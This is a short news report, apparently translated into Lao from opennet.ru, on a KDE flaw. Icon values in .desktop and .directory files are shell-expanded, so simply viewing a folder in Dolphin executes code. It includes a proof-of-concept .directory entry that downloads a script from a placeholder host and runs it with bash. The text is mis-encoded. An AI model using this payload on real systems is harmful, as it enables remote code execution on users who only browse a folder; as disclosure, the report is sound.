เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบ‚เบญเบ‡เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบฅเบฐเบซเบฑเบ” KDE เป€เบกเบทเปˆเบญเป€เบšเบดเปˆเบ‡เบฅเบฒเบเบเบฒเบ™เป„เบŸเบฅเปŒ

เปƒเบ™ KDE เบเปเบฒเบ™เบปเบ” เบ„เบงเบฒเบกเบญเปˆเบญเบ™เปเบญ, เป€เบŠเบดเปˆเบ‡เบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบœเบนเป‰เป‚เบˆเบกเบ•เบตเบชเบฒเบกเบฒเบ”เบ›เบฐเบ•เบดเบšเบฑเบ”เบ„เปเบฒเบชเบฑเปˆเบ‡เบ—เบตเปˆเบ•เบปเบ™เป€เบญเบ‡เบกเบฑเบเปƒเบ™เป€เบงเบฅเบฒเบ—เบตเปˆเบœเบนเป‰เปƒเบŠเป‰เป€เบšเบดเปˆเบ‡เป„เบ”เป€เบฅเบเบฐเบ—เปเบฅเบตเบซเบผเบทเปเบŸเป‰เบกเบˆเบฑเบ”เป€เบเบฑเบšเบ—เบตเปˆเบกเบตเป„เบŸเบฅเปŒ ".desktop" เปเบฅเบฐ ".directory". เบเบฒเบ™เป‚เบˆเบกเบ•เบตเบฎเบฝเบเบฎเป‰เบญเบ‡เปƒเบซเป‰เบœเบนเป‰เปƒเบŠเป‰เบžเบฝเบ‡เปเบ•เปˆเป€เบšเบดเปˆเบ‡เบฅเบฒเบเบŠเบทเปˆเบ‚เบญเบ‡เป„เบŸเบฅเปŒเปƒเบ™เบ•เบปเบงเบˆเบฑเบ”เบเบฒเบ™เป„เบŸเบฅเปŒ Dolphin, เบ”เบฒเบงเป‚เบซเบฅเบ”เป„เบŸเบฅเปŒ desktop เบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบ, เบซเบผเบทเบฅเบฒเบเบ—เบฒเบ‡เบฅเบฑเบ”เปƒเบชเปˆ desktop เบซเบผเบทเป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™เป€เบญเบเบฐเบชเบฒเบ™. เบšเบฑเบ™เบซเบฒเบชเบฐเปเบ”เบ‡เบญเบญเบเปƒเบ™เบเบฒเบ™เบ›เปˆเบญเบเบซเป‰เบญเบ‡เบชเบฐเบซเบกเบธเบ”เปƒเบ™เบ›เบฐเบˆเบธเบšเบฑเบ™ เบ‚เบญเบš Frameworks เบ‚เบญเบ‡ 5.60.0 เปเบฅเบฐเบฅเบธเป‰เบ™เป€เบเบปเปˆเบฒ, เป€เบ–เบดเบ‡ KDE 4. เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบเบฑเบ‡เบขเบนเปˆ เบเบฑเบ‡เบ„เบปเบ‡เบขเบนเปˆ เบšเปเปˆเบ–เบทเบเปเบเป‰เป„เบ‚ (CVE เบšเปเปˆเป„เบ”เป‰เบกเบญเบšเปเบฒเบ).

เบšเบฑเบ™เบซเบฒเปเบกเปˆเบ™เป€เบเบตเบ”เบกเบฒเบˆเบฒเบเบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบ—เบตเปˆเบšเปเปˆเบ–เบทเบเบ•เป‰เบญเบ‡เบ‚เบญเบ‡เบ„เบฅเบฒเบช KDesktopFile, เป€เบŠเบดเปˆเบ‡, เป€เบกเบทเปˆเบญเบ›เบฐเบกเบงเบ™เบœเบปเบ™เบ•เบปเบงเปเบ› "Icon", เป‚เบ”เบเบšเปเปˆเบกเบตเบเบฒเบ™ escaping เบ—เบตเปˆเป€เบซเบกเบฒเบฐเบชเบปเบก, เบชเบปเปˆเบ‡เบ„เปˆเบฒเป„เบ›เบเบฑเบ‡เบŸเบฑเบ‡เบŠเบฑเบ™ KConfigPrivate::expandString() เป€เบŠเบดเปˆเบ‡เบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เบ‚เบฐเบซเบเบฒเบเบ•เบปเบงเปเบ›เบžเบดเป€เบชเบ”เบ‚เบญเบ‡ shell, เบฅเบงเบกเบ—เบฑเบ‡เบเบฒเบ™เบ›เบฐเบกเบงเบ™เบœเบปเบ™. เบชเบฐเบ•เบฃเบดเบ‡ โ€œ$ (..)โ€ เป€เบ›เบฑเบ™เบ„เปเบฒเบชเบฑเปˆเบ‡เบ—เบตเปˆเบˆเบฐเบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™ . เบเบปเบ‡เบเบฑเบ™เบ‚เป‰เบฒเบกเบเบฑเบšเบ‚เปเป‰เบเปเบฒเบ™เบปเบ”เบ‚เบญเบ‡เบ‚เปเป‰เบเปเบฒเบ™เบปเบ” XDG, เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ” เบเบฒเบ™เป€เบ›เบตเบ”เป€เบœเบตเบ เป‚เบ„เบ‡เบชเป‰เบฒเบ‡ shell เปเบกเปˆเบ™เบœเบฐเบฅเบดเบ”เป‚เบ”เบเบšเปเปˆเบกเบตเบเบฒเบ™เปเบเบเบ›เบฐเป€เบžเบ”เบ‚เบญเบ‡เบเบฒเบ™เบ•เบฑเป‰เบ‡เบ„เปˆเบฒ, i.e. เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเปƒเบ™เป€เบงเบฅเบฒเบ—เบตเปˆเบเปเบฒเบ™เบปเบ”เป€เบชเบฑเป‰เบ™เบ„เปเบฒเบชเบฑเปˆเบ‡เบ‚เบญเบ‡เบ„เปเบฒเบฎเป‰เบญเบ‡เบชเบฐเบซเบกเบฑเบเบ—เบตเปˆเบˆเบฐเป€เบ›เบตเบ”เบ•เบปเบง, เปเบ•เปˆเบเบฑเบ‡เปƒเบ™เป€เบงเบฅเบฒเบ—เบตเปˆเบเปเบฒเบ™เบปเบ”เป„เบญเบ„เบญเบ™เบ—เบตเปˆเบชเบฐเปเบ”เบ‡เป‚เบ”เบเบ„เปˆเบฒเป€เบฅเบตเปˆเบกเบ•เบปเป‰เบ™.

เบชเปเบฒเบฅเบฑเบšเบ•เบปเบงเบขเปˆเบฒเบ‡, เบเบฒเบ™เป‚เบˆเบกเบ•เบต เปเบกเปˆเบ™เบžเบฝเบ‡เบžเป เบชเบปเปˆเบ‡เปเบŸเป‰เบก zip เปƒเบซเป‰เบเบฑเบšเบœเบนเป‰เปƒเบŠเป‰เบ—เบตเปˆเบกเบตเป„เบ”เป€เบฅเบเบฐเบ—เปเบฅเบตเบ—เบตเปˆเบกเบตเป„เบŸเบฅเปŒ โ€œ.directoryโ€ เปเบšเบšเบ™เบตเป‰:

[เบเบฒเบ™เป€เบ‚เบปเป‰เบฒ desktop] เบ›เบฐเป€เบžเบ”=เป„เบ”เป€เบฅเบเบฐเบ—เปเบฅเบต
เป„เบญเบ„เบญเบ™[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

เป€เบกเบทเปˆเบญเบ—เปˆเบฒเบ™เบžเบฐเบเบฒเบเบฒเบกเป€เบšเบดเปˆเบ‡เป€เบ™เบทเป‰เบญเปƒเบ™เบ‚เบญเบ‡เปเบŸเป‰เบกเบˆเบฑเบ”เป€เบเบฑเบšเปƒเบ™เบ•เบปเบงเบˆเบฑเบ”เบเบฒเบ™เป„เบŸเบฅเปŒ Dolphin, script https://example.com/FILENAME.sh เบˆเบฐเบ–เบทเบเบ”เบฒเบงเป‚เบซเบผเบ” เปเบฅเบฐเบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™.


เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: opennet.ru

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™